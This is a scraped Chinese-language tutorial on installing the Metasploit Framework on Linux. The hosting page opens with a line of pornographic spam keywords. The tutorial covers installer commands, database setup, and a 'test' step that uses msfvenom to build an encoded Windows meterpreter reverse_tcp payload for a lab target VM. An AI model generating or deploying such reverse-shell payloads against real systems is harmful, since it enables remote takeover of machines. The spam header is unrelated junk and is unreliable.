日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
linux系統(tǒng)安裝msf的過程詳解

還是自己寫下安裝過程吧!

創(chuàng)新互聯(lián)公司專業(yè)為企業(yè)提供湟中網(wǎng)站建設、湟中做網(wǎng)站、湟中網(wǎng)站設計、湟中網(wǎng)站制作等企業(yè)網(wǎng)站建設、網(wǎng)頁設計與制作、湟中企業(yè)網(wǎng)站模板建站服務,十載湟中做網(wǎng)站經(jīng)驗,不只是建網(wǎng)站,更提供有價值的思路和整體網(wǎng)絡服務。

我的服務器系統(tǒng)是 Aliyun linux

1、下載安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能報錯:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因為安裝庫的問題!
解決方法:
yum install -y epel-release
然后再重復上面那條命令!

2、添加新用戶運行msf
adduser msf       #添加msf用戶
su msf                #切換到msf用戶
cd  /opt/metasploit-framework/bin   #切換到msf所在的目錄
./msfconsole
#以后啟動msfconsole,都切換到msf用戶下啟動,這樣會同步數(shù)據(jù)庫。
如果使用root用戶啟動的話,不會同步數(shù)據(jù)庫!
(啟動索引已經(jīng)默認配好了!)
直接 msfconsole 就可以啟動了!

#相關命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb
msfelfscan msfmachscan msfpescan msfrop
msfrpc msfrpcd msfupdate msfvenom

#數(shù)據(jù)庫初始化
[msf@xxxx root]$ msfdb
Commands:
init initialize the component
reinit delete and reinitialize the component
delete delete and stop the component
status check component status
start start the component
stop stop the component
restart restart the component

#測試:
e.g.我的虛擬主機是 Win2003(目標機)
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp
LHOST=msf_ip
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是彈性云服務器IP,LHOST 要設置為內網(wǎng)分配IP,不能設公網(wǎng)IP [被這個坑折騰好久?。?!吐血?。。

ps:linux系統(tǒng)下安裝msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

等待運行結束即可。關鍵地方按回車和Y即可。

總結

到此這篇關于linux系統(tǒng)安裝msf的過程詳解的文章就介紹到這了,更多相關linux系統(tǒng)安裝msf內容請搜索以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持!

香港服務器選創(chuàng)新互聯(lián),2H2G首月10元開通。
創(chuàng)新互聯(lián)(www.cdcxhl.com)互聯(lián)網(wǎng)服務提供商,擁有超過10年的服務器租用、服務器托管、云服務器、虛擬主機、網(wǎng)站系統(tǒng)開發(fā)經(jīng)驗。專業(yè)提供云主機、虛擬主機、域名注冊、VPS主機、云服務器、香港云服務器、免備案服務器等。


本文題目:linux系統(tǒng)安裝msf的過程詳解
網(wǎng)頁路徑:http://m.5511xx.com/article/cogohge.html